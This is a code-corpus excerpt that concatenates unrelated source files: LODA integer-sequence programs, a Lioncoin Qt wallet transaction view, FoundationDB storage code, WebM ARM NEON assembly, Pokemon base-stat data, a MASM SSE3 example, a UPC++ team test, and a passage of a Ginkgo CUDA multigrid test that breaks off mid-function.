text
stringlengths
1
1.05M
; A098307: Unsigned member r=-7 of the family of Chebyshev sequences S_r(n) defined in A092184. ; Submitted by Christian Krause ; 0,1,7,64,567,5041,44800,398161,3538647,31449664,279508327,2484125281,22077619200,196214447521,1743852408487,15498457228864,137742262651287,1224181906632721,10879894897043200,96694872166756081 mov $2,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,2 dif $2,7 mul $2,14 lpe dif $1,2 mul $1,$2 mov $0,$1 div $0,14
// Copyright (c) 2011-2013 The Lioncoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "transactionview.h" #include "addresstablemodel.h" #include "lioncoinunits.h" #include "csvmodelwriter.h" #include "editaddressdialog.h" #include "guiutil.h" #include "optionsmodel.h" #include "transactiondescdialog.h" #include "transactionfilterproxy.h" #include "transactionrecord.h" #include "transactiontablemodel.h" #include "walletmodel.h" #include "ui_interface.h" #include <QComboBox> #include <QDateTimeEdit> #include <QDoubleValidator> #include <QHBoxLayout> #include <QHeaderView> #include <QLabel> #include <QLineEdit> #include <QMenu> #include <QPoint> #include <QScrollBar> #include <QTableView> #include <QVBoxLayout> TransactionView::TransactionView(QWidget *parent) : QWidget(parent), model(0), transactionProxyModel(0), transactionView(0) { // Build filter row setContentsMargins(0,0,0,0); QHBoxLayout *hlayout = new QHBoxLayout(); hlayout->setContentsMargins(0,0,0,0); #ifdef Q_OS_MAC hlayout->setSpacing(5); hlayout->addSpacing(26); #else hlayout->setSpacing(0); hlayout->addSpacing(23); #endif dateWidget = new QComboBox(this); #ifdef Q_OS_MAC dateWidget->setFixedWidth(121); #else dateWidget->setFixedWidth(120); #endif dateWidget->addItem(tr("All"), All); dateWidget->addItem(tr("Today"), Today); dateWidget->addItem(tr("This week"), ThisWeek); dateWidget->addItem(tr("This month"), ThisMonth); dateWidget->addItem(tr("Last month"), LastMonth); dateWidget->addItem(tr("This year"), ThisYear); dateWidget->addItem(tr("Range..."), Range); hlayout->addWidget(dateWidget); typeWidget = new QComboBox(this); #ifdef Q_OS_MAC typeWidget->setFixedWidth(121); #else typeWidget->setFixedWidth(120); #endif typeWidget->addItem(tr("All"), TransactionFilterProxy::ALL_TYPES); typeWidget->addItem(tr("Received with"), TransactionFilterProxy::TYPE(TransactionRecord::RecvWithAddress) | TransactionFilterProxy::TYPE(TransactionRecord::RecvFromOther)); typeWidget->addItem(tr("Sent to"), TransactionFilterProxy::TYPE(TransactionRecord::SendToAddress) | TransactionFilterProxy::TYPE(TransactionRecord::SendToOther)); typeWidget->addItem(tr("To yourself"), TransactionFilterProxy::TYPE(TransactionRecord::SendToSelf)); typeWidget->addItem(tr("Mined"), TransactionFilterProxy::TYPE(TransactionRecord::Generated)); typeWidget->addItem(tr("Other"), TransactionFilterProxy::TYPE(TransactionRecord::Other)); hlayout->addWidget(typeWidget); addressWidget = new QLineEdit(this); #if QT_VERSION >= 0x040700 addressWidget->setPlaceholderText(tr("Enter address or label to search")); #endif hlayout->addWidget(addressWidget); amountWidget = new QLineEdit(this); #if QT_VERSION >= 0x040700 amountWidget->setPlaceholderText(tr("Min amount")); #endif #ifdef Q_OS_MAC amountWidget->setFixedWidth(97); #else amountWidget->setFixedWidth(100); #endif amountWidget->setValidator(new QDoubleValidator(0, 1e20, 8, this)); hlayout->addWidget(amountWidget); QVBoxLayout *vlayout = new QVBoxLayout(this); vlayout->setContentsMargins(0,0,0,0); vlayout->setSpacing(0); QTableView *view = new QTableView(this); vlayout->addLayout(hlayout); vlayout->addWidget(createDateRangeWidget()); vlayout->addWidget(view); vlayout->setSpacing(0); int width = view->verticalScrollBar()->sizeHint().width(); // Cover scroll bar width with spacing #ifdef Q_OS_MAC hlayout->addSpacing(width+2); #else hlayout->addSpacing(width); #endif // Always show scroll bar view->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn); view->setTabKeyNavigation(false); view->setContextMenuPolicy(Qt::CustomContextMenu); transactionView = view; // Actions QAction *copyAddressAction = new QAction(tr("Copy address"), this); QAction *copyLabelAction = new QAction(tr("Copy label"), this); QAction *copyAmountAction = new QAction(tr("Copy amount"), this); QAction *copyTxIDAction = new QAction(tr("Copy transaction ID"), this); QAction *editLabelAction = new QAction(tr("Edit label"), this); QAction *showDetailsAction = new QAction(tr("Show transaction details"), this); contextMenu = new QMenu(); contextMenu->addAction(copyAddressAction); contextMenu->addAction(copyLabelAction); contextMenu->addAction(copyAmountAction); contextMenu->addAction(copyTxIDAction); contextMenu->addAction(editLabelAction); contextMenu->addAction(showDetailsAction); // Connect actions connect(dateWidget, SIGNAL(activated(int)), this, SLOT(chooseDate(int))); connect(typeWidget, SIGNAL(activated(int)), this, SLOT(chooseType(int))); connect(addressWidget, SIGNAL(textChanged(QString)), this, SLOT(changedPrefix(QString))); connect(amountWidget, SIGNAL(textChanged(QString)), this, SLOT(changedAmount(QString))); connect(view, SIGNAL(doubleClicked(QModelIndex)), this, SIGNAL(doubleClicked(QModelIndex))); connect(view, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(contextualMenu(QPoint))); connect(copyAddressAction, SIGNAL(triggered()), this, SLOT(copyAddress())); connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(copyLabel())); connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount())); connect(copyTxIDAction, SIGNAL(triggered()), this, SLOT(copyTxID())); connect(editLabelAction, SIGNAL(triggered()), this, SLOT(editLabel())); connect(showDetailsAction, SIGNAL(triggered()), this, SLOT(showDetails())); } void TransactionView::setModel(WalletModel *model) { this->model = model; if(model) { transactionProxyModel = new TransactionFilterProxy(this); transactionProxyModel->setSourceModel(model->getTransactionTableModel()); transactionProxyModel->setDynamicSortFilter(true); transactionProxyModel->setSortCaseSensitivity(Qt::CaseInsensitive); transactionProxyModel->setFilterCaseSensitivity(Qt::CaseInsensitive); transactionProxyModel->setSortRole(Qt::EditRole); transactionView->setModel(transactionProxyModel); transactionView->setAlternatingRowColors(true); transactionView->setSelectionBehavior(QAbstractItemView::SelectRows); transactionView->setSelectionMode(QAbstractItemView::ExtendedSelection); transactionView->setSortingEnabled(true); transactionView->sortByColumn(TransactionTableModel::Status, Qt::DescendingOrder); transactionView->verticalHeader()->hide(); transactionView->horizontalHeader()->resizeSection(TransactionTableModel::Status, 23); transactionView->horizontalHeader()->resizeSection(TransactionTableModel::Date, 120); transactionView->horizontalHeader()->resizeSection(TransactionTableModel::Type, 120); #if QT_VERSION < 0x050000 transactionView->horizontalHeader()->setResizeMode(TransactionTableModel::ToAddress, QHeaderView::Stretch); #else transactionView->horizontalHeader()->setSectionResizeMode(TransactionTableModel::ToAddress, QHeaderView::Stretch); #endif transactionView->horizontalHeader()->resizeSection(TransactionTableModel::Amount, 100); } } void TransactionView::chooseDate(int idx) { if(!transactionProxyModel) return; QDate current = QDate::currentDate(); dateRangeWidget->setVisible(false); switch(dateWidget->itemData(idx).toInt()) { case All: transactionProxyModel->setDateRange( TransactionFilterProxy::MIN_DATE, TransactionFilterProxy::MAX_DATE); break; case Today: transactionProxyModel->setDateRange( QDateTime(current), TransactionFilterProxy::MAX_DATE); break; case ThisWeek: { // Find last Monday QDate startOfWeek = current.addDays(-(current.dayOfWeek()-1)); transactionProxyModel->setDateRange( QDateTime(startOfWeek), TransactionFilterProxy::MAX_DATE); } break; case ThisMonth: transactionProxyModel->setDateRange( QDateTime(QDate(current.year(), current.month(), 1)), TransactionFilterProxy::MAX_DATE); break; case LastMonth: transactionProxyModel->setDateRange( QDateTime(QDate(current.year(), current.month()-1, 1)), QDateTime(QDate(current.year(), current.month(), 1))); break; case ThisYear: transactionProxyModel->setDateRange( QDateTime(QDate(current.year(), 1, 1)), TransactionFilterProxy::MAX_DATE); break; case Range: dateRangeWidget->setVisible(true); dateRangeChanged(); break; } } void TransactionView::chooseType(int idx) { if(!transactionProxyModel) return; transactionProxyModel->setTypeFilter( typeWidget->itemData(idx).toInt()); } void TransactionView::changedPrefix(const QString &prefix) { if(!transactionProxyModel) return; transactionProxyModel->setAddressPrefix(prefix); } void TransactionView::changedAmount(const QString &amount) { if(!transactionProxyModel) return; qint64 amount_parsed = 0; if(LioncoinUnits::parse(model->getOptionsModel()->getDisplayUnit(), amount, &amount_parsed)) { transactionProxyModel->setMinAmount(amount_parsed); } else { transactionProxyModel->setMinAmount(0); } } void TransactionView::exportClicked() { // CSV is currently the only supported format QString filename = GUIUtil::getSaveFileName(this, tr("Export Transaction History"), QString(), tr("Comma separated file (*.csv)"), NULL); if (filename.isNull()) return; CSVModelWriter writer(filename); // name, column, role writer.setModel(transactionProxyModel); writer.addColumn(tr("Confirmed"), 0, TransactionTableModel::ConfirmedRole); writer.addColumn(tr("Date"), 0, TransactionTableModel::DateRole); writer.addColumn(tr("Type"), TransactionTableModel::Type, Qt::EditRole); writer.addColumn(tr("Label"), 0, TransactionTableModel::LabelRole); writer.addColumn(tr("Address"), 0, TransactionTableModel::AddressRole); writer.addColumn(tr("Amount"), 0, TransactionTableModel::FormattedAmountRole); writer.addColumn(tr("ID"), 0, TransactionTableModel::TxIDRole); if(!writer.write()) { emit message(tr("Exporting Failed"), tr("There was an error trying to save the transaction history to %1.").arg(filename), CClientUIInterface::MSG_ERROR); } else { emit message(tr("Exporting Successful"), tr("The transaction history was successfully saved to %1.").arg(filename), CClientUIInterface::MSG_INFORMATION); } } void TransactionView::contextualMenu(const QPoint &point) { QModelIndex index = transactionView->indexAt(point); if(index.isValid()) { contextMenu->exec(QCursor::pos()); } } void TransactionView::copyAddress() { GUIUtil::copyEntryData(transactionView, 0, TransactionTableModel::AddressRole); } void TransactionView::copyLabel() { GUIUtil::copyEntryData(transactionView, 0, TransactionTableModel::LabelRole); } void TransactionView::copyAmount() { GUIUtil::copyEntryData(transactionView, 0, TransactionTableModel::FormattedAmountRole); } void TransactionView::copyTxID() { GUIUtil::copyEntryData(transactionView, 0, TransactionTableModel::TxIDRole); } void TransactionView::editLabel() { if(!transactionView->selectionModel() ||!model) return; QModelIndexList selection = transactionView->selectionModel()->selectedRows(); if(!selection.isEmpty()) { AddressTableModel *addressBook = model->getAddressTableModel(); if(!addressBook) return; QString address = selection.at(0).data(TransactionTableModel::AddressRole).toString(); if(address.isEmpty()) { // If this transaction has no associated address, exit return; } // Is address in address book? Address book can miss address when a transaction is // sent from outside the UI. int idx = addressBook->lookupAddress(address); if(idx != -1) { // Edit sending / receiving address QModelIndex modelIdx = addressBook->index(idx, 0, QModelIndex()); // Determine type of address, launch appropriate editor dialog type QString type = modelIdx.data(AddressTableModel::TypeRole).toString(); EditAddressDialog dlg( type == AddressTableModel::Receive ? EditAddressDialog::EditReceivingAddress : EditAddressDialog::EditSendingAddress, this); dlg.setModel(addressBook); dlg.loadRow(idx); dlg.exec(); } else { // Add sending address EditAddressDialog dlg(EditAddressDialog::NewSendingAddress, this); dlg.setModel(addressBook); dlg.setAddress(address); dlg.exec(); } } } void TransactionView::showDetails() { if(!transactionView->selectionModel()) return; QModelIndexList selection = transactionView->selectionModel()->selectedRows(); if(!selection.isEmpty()) { TransactionDescDialog dlg(selection.at(0)); dlg.exec(); } } QWidget *TransactionView::createDateRangeWidget() { dateRangeWidget = new QFrame(); dateRangeWidget->setFrameStyle(QFrame::Panel | QFrame::Raised); dateRangeWidget->setContentsMargins(1,1,1,1); QHBoxLayout *layout = new QHBoxLayout(dateRangeWidget); layout->setContentsMargins(0,0,0,0); layout->addSpacing(23); layout->addWidget(new QLabel(tr("Range:"))); dateFrom = new QDateTimeEdit(this); dateFrom->setDisplayFormat("dd/MM/yy"); dateFrom->setCalendarPopup(true); dateFrom->setMinimumWidth(100); dateFrom->setDate(QDate::currentDate().addDays(-7)); layout->addWidget(dateFrom); layout->addWidget(new QLabel(tr("to"))); dateTo = new QDateTimeEdit(this); dateTo->setDisplayFormat("dd/MM/yy"); dateTo->setCalendarPopup(true); dateTo->setMinimumWidth(100); dateTo->setDate(QDate::currentDate()); layout->addWidget(dateTo); layout->addStretch(); // Hide by default dateRangeWidget->setVisible(false); // Notify on change connect(dateFrom, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged())); connect(dateTo, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged())); return dateRangeWidget; } void TransactionView::dateRangeChanged() { if(!transactionProxyModel) return; transactionProxyModel->setDateRange( QDateTime(dateFrom->date()), QDateTime(dateTo->date()).addDays(1)); } void TransactionView::focusTransaction(const QModelIndex &idx) { if(!transactionProxyModel) return; QModelIndex targetIdx = transactionProxyModel->mapFromSource(idx); transactionView->scrollTo(targetIdx); transactionView->setCurrentIndex(targetIdx); transactionView->setFocus(); }
/* * OnDemandStore.actor.cpp * * This source file is part of the FoundationDB open source project * * Copyright 2013-2018 Apple Inc. and the FoundationDB project authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "fdbserver/OnDemandStore.h" #include "flow/actorcompiler.h" // must be last include ACTOR static Future<Void> onErr(Future<Future<Void>> e) { Future<Void> f = wait(e); wait(f); return Void(); } void OnDemandStore::open() { platform::createDirectory(folder); store = keyValueStoreMemory(joinPath(folder, prefix), myID, 500e6); err.send(store->getError()); } OnDemandStore::OnDemandStore(std::string const& folder, UID myID, std::string const& prefix) : folder(folder), myID(myID), store(nullptr), prefix(prefix) {} OnDemandStore::~OnDemandStore() { close(); } IKeyValueStore* OnDemandStore::get() { if (!store) { open(); } return store; } bool OnDemandStore::exists() const { return store || fileExists(joinPath(folder, prefix + "0.fdq")) || fileExists(joinPath(folder, prefix + "1.fdq")) || fileExists(joinPath(folder, prefix + ".fdb")); } IKeyValueStore* OnDemandStore::operator->() { return get(); } Future<Void> OnDemandStore::getError() const { return onErr(err.getFuture()); } Future<Void> OnDemandStore::onClosed() const { return store->onClosed(); } void OnDemandStore::dispose() { if (store) { store->dispose(); store = nullptr; } } void OnDemandStore::close() { if (store) { store->close(); store = nullptr; } }
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |vp8_bilinear_predict8x8_neon| ARM REQUIRE8 PRESERVE8 AREA ||.text||, CODE, READONLY, ALIGN=2 ; r0 unsigned char *src_ptr, ; r1 int src_pixels_per_line, ; r2 int xoffset, ; r3 int yoffset, ; r4 unsigned char *dst_ptr, ; stack(lr) int dst_pitch |vp8_bilinear_predict8x8_neon| PROC push {r4, lr} ldr r12, _bifilter8_coeff_ ldr r4, [sp, #8] ;load parameters from stack ldr lr, [sp, #12] ;load parameters from stack cmp r2, #0 ;skip first_pass filter if xoffset=0 beq skip_firstpass_filter ;First pass: output_height lines x output_width columns (9x8) add r2, r12, r2, lsl #3 ;calculate filter location vld1.u8 {q1}, [r0], r1 ;load src data vld1.u32 {d31}, [r2] ;load first_pass filter vld1.u8 {q2}, [r0], r1 vdup.8 d0, d31[0] ;first_pass filter (d0 d1) vld1.u8 {q3}, [r0], r1 vdup.8 d1, d31[4] vld1.u8 {q4}, [r0], r1 vmull.u8 q6, d2, d0 ;(src_ptr[0] * vp8_filter[0]) vmull.u8 q7, d4, d0 vmull.u8 q8, d6, d0 vmull.u8 q9, d8, d0 vext.8 d3, d2, d3, #1 ;construct src_ptr[-1] vext.8 d5, d4, d5, #1 vext.8 d7, d6, d7, #1 vext.8 d9, d8, d9, #1 vmlal.u8 q6, d3, d1 ;(src_ptr[1] * vp8_filter[1]) vmlal.u8 q7, d5, d1 vmlal.u8 q8, d7, d1 vmlal.u8 q9, d9, d1 vld1.u8 {q1}, [r0], r1 ;load src data vqrshrn.u16 d22, q6, #7 ;shift/round/saturate to u8 vld1.u8 {q2}, [r0], r1 vqrshrn.u16 d23, q7, #7 vld1.u8 {q3}, [r0], r1 vqrshrn.u16 d24, q8, #7 vld1.u8 {q4}, [r0], r1 vqrshrn.u16 d25, q9, #7 ;first_pass filtering on the rest 5-line data vld1.u8 {q5}, [r0], r1 vmull.u8 q6, d2, d0 ;(src_ptr[0] * vp8_filter[0]) vmull.u8 q7, d4, d0 vmull.u8 q8, d6, d0 vmull.u8 q9, d8, d0 vmull.u8 q10, d10, d0 vext.8 d3, d2, d3, #1 ;construct src_ptr[-1] vext.8 d5, d4, d5, #1 vext.8 d7, d6, d7, #1 vext.8 d9, d8, d9, #1 vext.8 d11, d10, d11, #1 vmlal.u8 q6, d3, d1 ;(src_ptr[1] * vp8_filter[1]) vmlal.u8 q7, d5, d1 vmlal.u8 q8, d7, d1 vmlal.u8 q9, d9, d1 vmlal.u8 q10, d11, d1 vqrshrn.u16 d26, q6, #7 ;shift/round/saturate to u8 vqrshrn.u16 d27, q7, #7 vqrshrn.u16 d28, q8, #7 vqrshrn.u16 d29, q9, #7 vqrshrn.u16 d30, q10, #7 ;Second pass: 8x8 secondpass_filter cmp r3, #0 ;skip second_pass filter if yoffset=0 beq skip_secondpass_filter add r3, r12, r3, lsl #3 add r0, r4, lr vld1.u32 {d31}, [r3] ;load second_pass filter add r1, r0, lr vdup.8 d0, d31[0] ;second_pass filter parameters (d0 d1) vdup.8 d1, d31[4] vmull.u8 q1, d22, d0 ;(src_ptr[0] * vp8_filter[0]) vmull.u8 q2, d23, d0 vmull.u8 q3, d24, d0 vmull.u8 q4, d25, d0 vmull.u8 q5, d26, d0 vmull.u8 q6, d27, d0 vmull.u8 q7, d28, d0 vmull.u8 q8, d29, d0 vmlal.u8 q1, d23, d1 ;(src_ptr[pixel_step] * vp8_filter[1]) vmlal.u8 q2, d24, d1 vmlal.u8 q3, d25, d1 vmlal.u8 q4, d26, d1 vmlal.u8 q5, d27, d1 vmlal.u8 q6, d28, d1 vmlal.u8 q7, d29, d1 vmlal.u8 q8, d30, d1 vqrshrn.u16 d2, q1, #7 ;shift/round/saturate to u8 vqrshrn.u16 d3, q2, #7 vqrshrn.u16 d4, q3, #7 vqrshrn.u16 d5, q4, #7 vqrshrn.u16 d6, q5, #7 vqrshrn.u16 d7, q6, #7 vqrshrn.u16 d8, q7, #7 vqrshrn.u16 d9, q8, #7 vst1.u8 {d2}, [r4] ;store result vst1.u8 {d3}, [r0] vst1.u8 {d4}, [r1], lr vst1.u8 {d5}, [r1], lr vst1.u8 {d6}, [r1], lr vst1.u8 {d7}, [r1], lr vst1.u8 {d8}, [r1], lr vst1.u8 {d9}, [r1], lr pop {r4, pc} ;-------------------- skip_firstpass_filter vld1.u8 {d22}, [r0], r1 ;load src data vld1.u8 {d23}, [r0], r1 vld1.u8 {d24}, [r0], r1 vld1.u8 {d25}, [r0], r1 vld1.u8 {d26}, [r0], r1 vld1.u8 {d27}, [r0], r1 vld1.u8 {d28}, [r0], r1 vld1.u8 {d29}, [r0], r1 vld1.u8 {d30}, [r0], r1 b secondpass_filter ;--------------------- skip_secondpass_filter vst1.u8 {d22}, [r4], lr ;store result vst1.u8 {d23}, [r4], lr vst1.u8 {d24}, [r4], lr vst1.u8 {d25}, [r4], lr vst1.u8 {d26}, [r4], lr vst1.u8 {d27}, [r4], lr vst1.u8 {d28}, [r4], lr vst1.u8 {d29}, [r4], lr pop {r4, pc} ENDP ;----------------- AREA bifilters8_dat, DATA, READWRITE ;read/write by default ;Data section with name data_area is specified. DCD reserves space in memory for 48 data. ;One word each is reserved. Label filter_coeff can be used to access the data. ;Data address: filter_coeff, filter_coeff+4, filter_coeff+8 ... _bifilter8_coeff_ DCD bifilter8_coeff bifilter8_coeff DCD 128, 0, 112, 16, 96, 32, 80, 48, 64, 64, 48, 80, 32, 96, 16, 112 END
db 0 ; species ID placeholder db 95, 85, 85, 35, 65, 65 ; hp atk def spd sat sdf db WATER, GROUND ; type db 90 ; catch rate db 137 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/quagsire/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_WATER_1, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, ROCK_SMASH, HIDDEN_POWER, SNORE, HYPER_BEAM, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DIG, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, SANDSTORM, DEFENSE_CURL, REST, ATTRACT, SURF, STRENGTH, FLASH, WHIRLPOOL, ICE_BEAM ; end
; A071996: a(1) = 0, a(2) = 1, a(n) = a(floor(n/3)) + a(n - floor(n/3)). ; 0,1,1,1,1,2,2,3,3,3,4,4,4,4,4,5,5,6,6,6,6,6,7,8,8,9,9,9,9,9,9,9,10,11,12,12,12,13,13,13,13,13,13,13,13,13,13,14,15,16,16,17,17,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,20,20,21,22,23,24,24,24,25,26,26,27,27,27,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,29,29 mov $2,$0 mov $3,$0 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 lpb $0 add $0,1 lpb $0 dif $0,3 lpe mul $0,2 div $0,3 lpe add $1,$0 lpe mov $0,$1
; Program 8.6 ; SSE3 - MASM (32-bit) ; Copyright (c) 2017 Hall & Slonka .686 .XMM .MODEL FLAT, C .STACK 4096 ExitProcess PROTO stdcall, dwExitCode:DWORD .data ALIGN 16 vectorA REAL4 1.2, 3.4, 5.6, 7.8 vectorB REAL4 7.8, 5.6, 3.4, 1.2 .code _main PROC movaps xmm0, vectorA ; move vectorA to XMM0 movaps xmm1, vectorB ; move vectorB to XMM1 haddps xmm0, xmm1 ; horizontal add packed SP vectorB to vectorA INVOKE ExitProcess, 0 _main ENDP END
#include <upcxx/upcxx.hpp> #include <iostream> #include <sstream> #include <assert.h> using namespace upcxx; int main() { init(); // create two singleton teams team t1 = world().split(rank_me(), rank_me()); team t2 = local_team().split(rank_me(), rank_me()); assert(t1.rank_n() == 1 && t1.rank_me() == 0); assert(t2.rank_n() == 1 && t2.rank_me() == 0); // and a few clones team t3 = world().split(0, rank_me()); // clone of world team t4 = local_team().split(0, local_team().rank_me()); // clone of local_team assert(t3.rank_n() == rank_n() && t3.rank_me() == rank_me()); assert(t4.rank_n() == local_team().rank_n() && t4.rank_me() == local_team().rank_me()); // collect ids static team_id id_t1 = t1.id(); static team_id id_t2 = t2.id(); static team_id id_t3 = t3.id(); static team_id id_t4 = t4.id(); static team_id id_world = world().id(); static team_id id_local = local_team().id(); std::ostringstream oss; oss << rank_me() << ":" << " id_t1=" << id_t1 << " \tid_t2=" << id_t2 << " \tid_t3=" << id_t3 << " \tid_t4=" << id_t4 << " \tid_world=" << id_world << " \tid_local=" << id_local << '\n'; std::cout << oss.str() << std::flush; // confirm local uniqueness if (id_t1 == id_t2 || id_t1 == id_t3 || id_t1 == id_t4 || id_t1 == id_world || id_t1 == id_local || id_t2 == id_t3 || id_t2 == id_t4 || id_t2 == id_world || id_t2 == id_local || id_t3 == id_t4 || id_t3 == id_world || id_t3 == id_local || id_t4 == id_world || id_t4 == id_local || id_world == id_local) { std::cout << "ERROR on rank " << rank_me() << " ids for distinct teams not locally unique!" << std::endl; } barrier(); if (rank_me()) { rpc(0, [](intrank_t r, team_id r_t1, team_id r_t2, team_id r_t3, team_id r_t4, team_id r_world, team_id r_local) { assert(rank_me() == 0 && r != rank_me()); // compare rank r's job-wide team_ids to rank 0's if (r_world != id_world) std::cout << "ERROR: id_world doesn't match across ranks!" << std::endl; if (r_t3 != id_t3) std::cout << "ERROR: id_t3 doesn't match across ranks!" << std::endl; // t1 and t2 are singleton teams and should not match anything from a different rank if (r_t1 == id_t1 || r_t1 == id_t2 || r_t1 == id_t3 || r_t1 == id_t4 || r_t1 == id_local) std::cout << "ERROR: t1.id() values are not unique across ranks!" << std::endl; if (r_t2 == id_t1 || r_t2 == id_t2 || r_t2 == id_t3 || r_t2 == id_t4 || r_t2 == id_local) std::cout << "ERROR: t2.id() values are not unique across ranks!" << std::endl; // check local_team() ids reflect actual local_team membership if (local_team_contains(r)) { // same local_team if (r_local != id_local) std::cout << "ERROR: local_team().id() for ranks 0 and " << r << " should be the same!" << std::endl; if (r_t4 != id_t4) std::cout << "ERROR: t4.id() for ranks 0 and " << r << " should be the same!" << std::endl; } else { // different local_team if (r_local == id_local) std::cout << "ERROR: local_team().id() for ranks 0 and " << r << " should be different!" << std::endl; if (r_t4 == id_t4) std::cout << "ERROR: t4.id() for ranks 0 and " << r << " should be different!" << std::endl; } }, rank_me(), id_t1, id_t2, id_t3, id_t4, id_world, id_local).wait(); } barrier(); if (!rank_me()) std::cout << "done." << std::endl; barrier(); finalize(); }
/*******************************<GINKGO LICENSE>****************************** Copyright (c) 2017-2022, the Ginkgo authors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************<GINKGO LICENSE>*******************************/ #include <ginkgo/core/solver/multigrid.hpp> #include <random> #include <gtest/gtest.h> #include <ginkgo/core/base/exception.hpp> #include <ginkgo/core/base/executor.hpp> #include <ginkgo/core/matrix/dense.hpp> #include <ginkgo/core/stop/combined.hpp> #include <ginkgo/core/stop/iteration.hpp> #include <ginkgo/core/stop/residual_norm.hpp> #include "core/solver/multigrid_kernels.hpp" #include "cuda/test/utils.hpp" namespace { class Multigrid : public ::testing::Test { protected: using Mtx = gko::matrix::Dense<>; Multigrid() : rand_engine(30) {} void SetUp() { ASSERT_GT(gko::CudaExecutor::get_num_devices(), 0); ref = gko::ReferenceExecutor::create(); cuda = gko::CudaExecutor::create(0, ref); } void TearDown() { if (cuda != nullptr) { ASSERT_NO_THROW(cuda->synchronize()); } } std::unique_ptr<Mtx> gen_mtx(int num_rows, int num_cols) { return gko::test::generate_random_matrix<Mtx>( num_rows, num_cols, std::uniform_int_distribution<>(num_cols, num_cols), std::normal_distribution<>(-1.0, 1.0), rand_engine, ref); } void initialize_data() { int m = 597; int n = 43; v = gen_mtx(m, n); d = gen_mtx(m, n); g = gen_mtx(m, n); e = gen_mtx(m, n); alpha = gen_mtx(1, n); rho = gen_mtx(1, n); beta = gen_mtx(1, n); gamma = gen_mtx(1, n); zeta = gen_mtx(1, n); old_norm = gen_mtx(1, n); new_norm = Mtx::create(ref, gko::dim<2>{1, n}); this->modify_norm(old_norm, new_norm); this->modify_scalar(alpha, rho, beta, gamma, zeta); d_v = Mtx::create(cuda); d_v->copy_from(v.get()); d_d = Mtx::create(cuda); d_d->copy_from(d.get()); d_g = Mtx::create(cuda); d_g->copy_from(g.get()); d_e = Mtx::create(cuda); d_e->copy_from(e.get()); d_alpha = Mtx::create(cuda); d_alpha->copy_from(alpha.get()); d_rho = Mtx::create(cuda); d_rho->copy_from(rho.get()); d_beta = Mtx::create(cuda); d_beta->copy_from(beta.get()); d_gamma = Mtx::create(cuda); d_gamma->copy_from(gamma.get()); d_zeta = Mtx::create(cuda); d_zeta->copy_from(zeta.get()); d_old_norm = Mtx::create(cuda); d_old_norm->copy_from(old_norm.get()); d_new_norm = Mtx::create(cuda); d_new_norm->copy_from(new_norm.get()); } void modify_norm(std::unique_ptr<Mtx>& old_norm, std::unique_ptr<Mtx>& new_norm) { double ratio = 0.7; for (gko::size_type i = 0; i < old_norm->get_size()[1]; i++) { old_norm->at(0, i) = gko::abs(old_norm->at(0, i)); new_norm->at(0, i) = ratio * old_norm->at(0, i); } } void modify_scalar(std::unique_ptr<Mtx>& alpha, std::unique_ptr<Mtx>& rho, std::unique_ptr<Mtx>& beta, std::unique_ptr<Mtx>& gamma, std::unique_ptr<Mtx>& zeta) { // modify the first three element such that the isfinite condition can // be reached, which are checked in the last three group in reference // test. // scalar_d = zeta/(beta - gamma * gamma / rho) // scalar_e = one<ValueType>() - gamma / alpha * scalar_d // temp = alpha/rho // scalar_d, scalar_e are not finite alpha->at(0, 0) = 3.0; 